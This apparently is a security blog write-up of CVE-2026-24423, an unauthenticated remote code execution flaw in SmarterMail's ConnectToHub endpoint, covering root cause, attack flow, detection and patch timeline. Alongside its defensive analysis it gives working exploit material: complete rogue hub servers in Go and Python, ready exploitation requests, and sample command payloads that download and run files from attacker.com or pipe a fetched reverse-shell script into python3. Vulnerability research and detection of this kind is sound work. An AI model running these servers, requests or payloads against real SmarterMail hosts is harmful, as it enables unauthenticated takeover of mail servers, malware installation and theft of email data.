Post

CVE-2026-24423 SmarterMail ConnectToHub Unauthenticated Remote Code Execution Vulnerability

CVE-2026-24423 SmarterMail ConnectToHub Unauthenticated Remote Code Execution Vulnerability

Executive Summary

A critical remote code execution vulnerability has been discovered in SmarterTools SmarterMail’s ConnectToHub API functionality. This vulnerability has been assigned CVE-2026-24423 with a CVSS v4 score of 9.3 (Critical).

Attackers can achieve remote code execution without authentication by crafting a malicious HTTP server that exploits SmarterMail’s ConnectToHub functionality. This vulnerability stems from the following critical security flaws:

  1. Missing Authentication: The ConnectToHub API endpoint allows anonymous access
  2. Server-Side Request Forgery (SSRF): The application accepts external URLs and makes outbound requests
  3. Command Injection: Commands retrieved from external servers are executed at the system level

Key Information

Attribute Value
CVE ID CVE-2026-24423
CVSS v4 Score 9.3 (Critical)
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-306 (Missing Authentication for Critical Function)
Disclosure Date January 23, 2026
Fixed Version SmarterMail Build 9511 (100.0.9511)

Vulnerability Overview

Vulnerability Description

SmarterMail’s ConnectToHub functionality is used to connect mail server nodes to a management center (Hub). This functionality is implemented through an API endpoint /api/v1/settings/sysadmin/connect-to-hub, which configures the server’s mount path.

The core issues of the vulnerability are:

  1. The API endpoint does not require authentication (marked as AllowAnonymous)
  2. Accepts a hubAddress parameter and makes a request to an attacker-controlled server
  3. Parses the CommandMount parameter from the JSON response returned by the server
  4. Passes that command directly to the system shell for execution

Vulnerability Impact

  • Unauthenticated Remote Code Execution: Attackers can exploit this vulnerability without any credentials
  • System-Level Privileges: Executes with SYSTEM privileges on Windows, can use sudo on Linux
  • Complete Server Control: Attackers can execute arbitrary commands, including:
    • Deploying malware or ransomware
    • Stealing sensitive email data
    • Creating backdoors for persistent access
    • Using the server to attack other organizations

Affected Versions

Product Affected Versions Fixed Version
SmarterTools SmarterMail < 100.0.9511 (Build < 9511) 100.0.9511 (Build 9511)

Version Detection Method

Unauthenticated version detection endpoint:

1
2
GET /api/v1/licensing/about HTTP/1.1
Host: target-server

The response contains version information that can be used to determine if the version is vulnerable.


Root Cause Analysis

1. Missing Authentication

The ConnectToHub API endpoint is defined in MailService.dll with the AllowAnonymous attribute:

1
2
3
4
5
6
7
8
9
10
[AuthenticatedService(AllowAnonymous = true)]
[HttpPost]
[Route("connect-to-hub")]
public async Task<ActionResult<ConnectToHubResult>> ConnectToHub([FromBody] ConnectToHubInput input)
{
    AdministrativeLog.Log("Connecting to hub", LogLevels.Normal, base.HttpContext);
    ConnectToHubResult connectToHubResult = await SystemSettingsService.ConnectToHub(input);
    connectToHubResult.machineName = HAClusterConfig.Instance.LocalName;
    return base.CreateResponseMessage(connectToHubResult);
}

This is a critical security flaw, as connecting to a Hub should be a highly sensitive administrative function.

2. Server-Side Request Forgery (SSRF)

The API accepts a user-provided hubAddress parameter and makes an HTTP POST request to that address:

1
2
3
4
string text2 = input.hubAddress.TrimEnd('/');
string text3 = text2 + "/web/api/node-management/setup-initial-connection";
Console.WriteLine("Connecting to hub with full URL: " + text3 + " with parameters:\r\n" + text);
HttpResponseMessage httpResponseMessage = await client.PostAsync(new Uri(text3), new StringContent(text, Encoding.UTF8, "application/json"));

3. Unsafe Deserialization and Command Injection

The JSON response retrieved from the external server is deserialized, where the SystemMount object contains the CommandMount parameter:

1
2
SystemSettingsService.InitialConnectionResult decodedObject =
    JsonConvert.DeserializeObject<SystemSettingsService.InitialConnectionResult>(text4);

Then, this object is passed directly to the mount configuration:

1
2
3
4
5
6
7
8
if (!(await MountConfiguration.Mount(decodedObject.SystemMount, true)).success)
{
    return new ConnectToHubResult
    {
        message = "Failed to mount system mount point",
        success = false
    };
}

Attack Flow

Detailed Attack Steps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─────────────┐         ┌──────────────┐         ┌─────────────────┐
│   Attacker   │────────▶│  SmarterMail │────────▶│  Attacker's     │
│              │  ① POST │   Server     │  ② POST │  HTTP Server    │
└─────────────┘         └──────────────┘         └─────────────────┘
                                                       │
                       ③ Return malicious command      │
                       ┌──────────────────────────────┘
                       │
                       ▼
                ┌──────────────┐
                │  SmarterMail │
                │   Server     │
                └──────────────┘
                       │
                       │ ④ Execute command
                       ▼
                ┌──────────────┐
                │  Execution   │
                │  (cmd/bash)  │
                └──────────────┘

Step-by-Step Explanation

  1. Attacker sends malicious request:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
    Host: smartermail-server:9998
    Content-Type: application/json
    
    {
      "hubAddress": "http://attacker-server:8082",
      "oneTimePassword": "test",
      "nodeName": "victim"
    }
    
  2. SmarterMail makes a request to the attacker’s server:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    POST /web/api/node-management/setup-initial-connection HTTP/1.1
    Host: attacker-server:8082
    Content-Type: application/json
    
    {
      "hubAddress": "http://attacker-server:8082",
      "oneTimePassword": "test",
      "nodeName": "victim"
    }
    
  3. Attacker’s server returns a response containing malicious commands:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    {
      "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
      "SharedSecret": "any-value",
      "TargetHubs": {"a": "b"},
      "IsStandby": false,
      "SystemMount": {
        "Enabled": true,
        "ReadOnly": false,
        "MountPath": "/any/path",
        "CommandMount": "malicious_command_here"
      },
      "SystemAdminUsernames": ["admin"]
    }
    
  4. SmarterMail executes the malicious command

Vulnerability Code Analysis

Code Flow Diagram

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ConnectToHub() [AllowAnonymous]
      │
      ▼
SystemSettingsService.ConnectToHub(input)
      │
      ├─ Build request to hubAddress
      │
      ├─ Make HTTP POST request
      │
      ├─ Deserialize JSON response
      │
      └─ MountConfiguration.Mount(decodedObject.SystemMount, true)
            │
            ▼
      MountConfiguration.Mount()
            │
            ├─ Check mount status
            │
            ├─ Call RunCommand(mount.CommandMount)
            │
            ▼
      CommandLine.RunCommand(command)
            │
            ├─ Build ProcessStartInfo
            │  ├─ FileName: cmd.exe (Windows) or /bin/bash (Linux)
            │  └─ Arguments: /c command (Windows) or -c "command" (Linux)
            │
            ▼
      Process.Start()
            │
            ▼
      Command Execution ✓

Key Code Snippets

1. MountConfiguration.Mount()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static async Task<SuccessResult> Mount(MountPointConfig mount, bool isSystemMount = false)
{
    // ... mount status check ...

    MountConfiguration.MountInfo[mount.MountPath] = mount;

    // Check CommandMount parameter
    if (!string.IsNullOrWhiteSpace(mount.CommandMount) && mount.CommandMount != "null")
    {
        await MountConfiguration.RunCommand(mount.MountPath, mount.CommandMount, mount.UseArgumentsInCommand);
    }

    // ... return success ...
}

2. MountConfiguration.RunCommand()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static async Task RunCommand(string path, string command, bool includeArgs)
{
    if (!string.IsNullOrWhiteSpace(command))
    {
        // If arguments are needed, build the full command string
        if (includeArgs)
        {
            HANodeConfig currentNodeConfig = HAClusterConfig.Instance.CurrentNodeConfig;
            string text = currentNodeConfig?.GetUserData<HANodeConfig>()
                           ?.Get<string>(HANodeConfig.PreviousRunningNode)
                           ?? currentNodeConfig?.PrimaryServer
                           ?? "";

            string text2 = HAClusterConfig.Instance.LocalName
                           ?? Environment.MachineName;

            string text3 = currentNodeConfig?.PrimaryServer ?? "local";

            if (path.Contains(' '))
            {
                path = "\"" + path + "\"";
            }

            // Build command string
            command = $"{command} {text2} {text3} {text} {path}";
        }

        // Execute command
        ValueTuple<string, bool, string> valueTuple =
            await CommandLine.RunCommand(FileManager.ApplicationDataPath, command, false,
                new Action<string>(MountConfiguration.<RunCommand>g__ProcessCommandOutput|23_0));
    }
}

3. CommandLine.RunCommand()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static async Task<ValueTuple<string, bool, string>> RunCommand(
    string currentDir, string command, bool sudo = false, Action<string> processOutputLine = null)
{
    ProcessStartInfo processStartInfo = new ProcessStartInfo
    {
        // Select shell based on operating system
        FileName = (OperatingSystem.IsWindows() ? "cmd.exe" : "/bin/bash"),

        // Build command arguments
        Arguments = (OperatingSystem.IsWindows()
            ? ("/c " + command)
            : ("-c \"" + (sudo ? "sudo " : "") + command + "\"")),

        RedirectStandardOutput = true,
        RedirectStandardError = true,
        UseShellExecute = false,
        CreateNoWindow = true,
        WorkingDirectory = currentDir
    };

    using (Process process = new Process { StartInfo = processStartInfo })
    {
        process.Start();
        process.BeginOutputReadLine();
        process.BeginErrorReadLine();
        await process.WaitForExitAsync(default(CancellationToken));

        return new ValueTuple<string, bool, string>(
            resultSb.ToString(),
            process.ExitCode == 0,
            ranCmd
        );
    }
}

Summary of Security Issues

  1. Unvalidated Input: The hubAddress parameter is used for external requests without validation
  2. Unsafe Deserialization: JSON from external servers is directly deserialized and used
  3. Command Injection: The CommandMount parameter is passed directly to the system shell
  4. Missing Authentication: The entire API endpoint is accessible anonymously
  5. Lack of Input Sanitization: Command parameters are not sanitized or validated against a whitelist

Exploitation Examples

Attacker HTTP Server Code (Go)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package main

import (
    "fmt"
    "log"
    "net/http"
)

func initHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Println("[-] Victim connected to our malicious server")

    // Return JSON response containing malicious command
    // Windows example: create a file
    response := `{
        "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
        "SharedSecret": "attacker-controlled",
        "TargetHubs": {"a": "b"},
        "IsStandby": false,
        "SystemMount": {
            "Enabled": true,
            "ReadOnly": false,
            "MountPath": "/tmp/mount",
            "CommandMount": "dir > C:\\\\pwned.txt"
        },
        "SystemAdminUsernames": ["admin"]
    }`

    fmt.Fprint(w, response)
    fmt.Println("[-] Sent malicious command payload")
}

func main() {
    http.HandleFunc("/web/api/node-management/setup-initial-connection", initHandler)
    fmt.Println("[+] Malicious server listening on :8082")
    log.Fatal(http.ListenAndServe(":8082", nil))
}

Attacker HTTP Server Code (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/web/api/node-management/setup-initial-connection', methods=['POST'])
def setup_initial_connection():
    print("[-] Victim connected!")

    # Malicious response
    response = {
        "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
        "SharedSecret": "attacker-controlled",
        "TargetHubs": {"a": "b"},
        "IsStandby": False,
        "SystemMount": {
            "Enabled": True,
            "ReadOnly": False,
            "MountPath": "/tmp/mount",
            "CommandMount": "dir > C:\\\\pwned.txt"  # Windows
            # "CommandMount": "whoami > /tmp/pwned.txt"  # Linux
        },
        "SystemAdminUsernames": ["admin"]
    }

    print("[-] Sent malicious payload")
    return jsonify(response)

if __name__ == '__main__':
    print("[+] Malicious server listening on :8082")
    app.run(host='0.0.0.0', port=8082)

Exploitation Request Example

1
2
3
4
5
6
7
8
9
10
11
POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: vulnerable-smartermail.example.com:9998
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 112

{
    "hubAddress": "http://attacker-server.example.com:8082",
    "oneTimePassword": "any-value",
    "nodeName": "victim-node"
}

Malicious Command Examples

Windows Platform

1
2
3
"CommandMount": "dir > C:\\\\pwned.txt"
"CommandMount": "whoami > C:\\\\whoami.txt"
"CommandMount": "powershell -Command \"Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile 'C:\\\\payload.exe'; Start-Process 'C:\\\\payload.exe'\""

Linux Platform

1
2
3
"CommandMount": "whoami > /tmp/pwned.txt"
"CommandMount": "wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
"CommandMount": "curl http://attacker.com/reverse_shell.py | python3"

Detection Methods

1. Active Scanning

Detect vulnerable versions:

1
2
3
4
5
6
7
# Get version information
curl -X GET "http://target-server/api/v1/licensing/about"

# Try to access vulnerable endpoint
curl -X POST "http://target-server/api/v1/settings/sysadmin/connect-to-hub" \
  -H "Content-Type: application/json" \
  -d '{"hubAddress":"http://localhost:8082","oneTimePassword":"test","nodeName":"test"}'

2. Log Monitoring

Monitor the following indicators:

Detection Item Description
Endpoint Access Access logs for /api/v1/settings/sysadmin/connect-to-hub
Outbound Connections HTTP connections from SmarterMail server to unknown IPs
Process Execution cmd.exe or /bin/bash spawned with unusual arguments
File Changes Suspicious files appearing in system directories

3. Network Traffic Detection

1
2
3
4
5
6
# Normal traffic pattern
SmarterMail → Internal Hub Server

# Malicious traffic pattern
SmarterMail → External IP (attacker-controlled server)
              → Returns JSON containing CommandMount

4. Patched Version Response

In patched versions (Build 9511):

  • Endpoint returns HTTP 400 status code
  • Returns error message instead of executing commands

Timeline

Date Event
2019-04-17 Earlier similar vulnerability (CVE-2019-7214) disclosed, affecting Build < 6985
Late 2025 Multiple independent security researchers discover ConnectToHub vulnerability
2026-01-15 SmarterTools releases fixed version Build 9511
2026-01-23 VulnCheck publishes public vulnerability advisory
2026-01-26 CISA includes vulnerability in weekly vulnerability summary
2026-01-28 Multiple security research teams publish detailed technical analysis

Appendix

A. HTTP Request/Response Examples

Malicious Request

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: 192.168.1.100:9998
User-Agent: python-requests/2.31.0
Accept: */*
Content-Type: application/json
Content-Length: 121

{
    "hubAddress": "http://10.0.1.10:8082",
    "oneTimePassword": "test",
    "nodeName": "victim"
}

Malicious Server Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 287

{
    "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
    "SharedSecret": "pwned",
    "TargetHubs": {
        "primary": "hub.internal"
    },
    "IsStandby": false,
    "SystemMount": {
        "Enabled": true,
        "ReadOnly": false,
        "MountPath": "C:\\SmarterMail\\Mount",
        "CommandMount": "dir > C:\\SmarterMail\\pwned.txt"
    },
    "SystemAdminUsernames": ["admin"]
}
CVE Description Status
CVE-2019-7214 .NET Deserialization RCE (Build < 6985) Fixed
CVE-2026-24423 ConnectToHub Unauthenticated RCE (Build < 9511) Fixed

Conclusion

CVE-2026-24423 is a severe remote code execution vulnerability affecting all versions of SmarterMail prior to Build 9511. This vulnerability allows unauthenticated attackers to execute arbitrary commands on target systems by crafting a malicious HTTP server.

Key Takeaways

  1. Immediate Upgrade: All users should immediately upgrade to Build 9511 or higher
  2. Detect Compromise: Check logs to determine if already exploited
  3. Implement Mitigations: If immediate upgrade is not possible, implement network-layer protections
  4. Long-Term Security: Review overall security configuration and strengthen monitoring

Disclaimer

This document is for security research and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Please disclose vulnerabilities responsibly and comply with all applicable laws and regulations.


References

  1. VulnCheck Advisory - CVE-2026-24423
  2. VulnCheck Blog - Street Smarts: SmarterMail ConnectToHub
  3. Rapid7 Exploit Database - SmarterMail RCE
  4. CISA Vulnerability Summary - Week of January 19, 2026
  5. DataCorps - SmarterMail Flaw Enables Dangerous RCE
  6. CODE WHITE Vulnerability List
  7. SmarterMail Release Notes
This post is licensed under CC BY 4.0 by the author.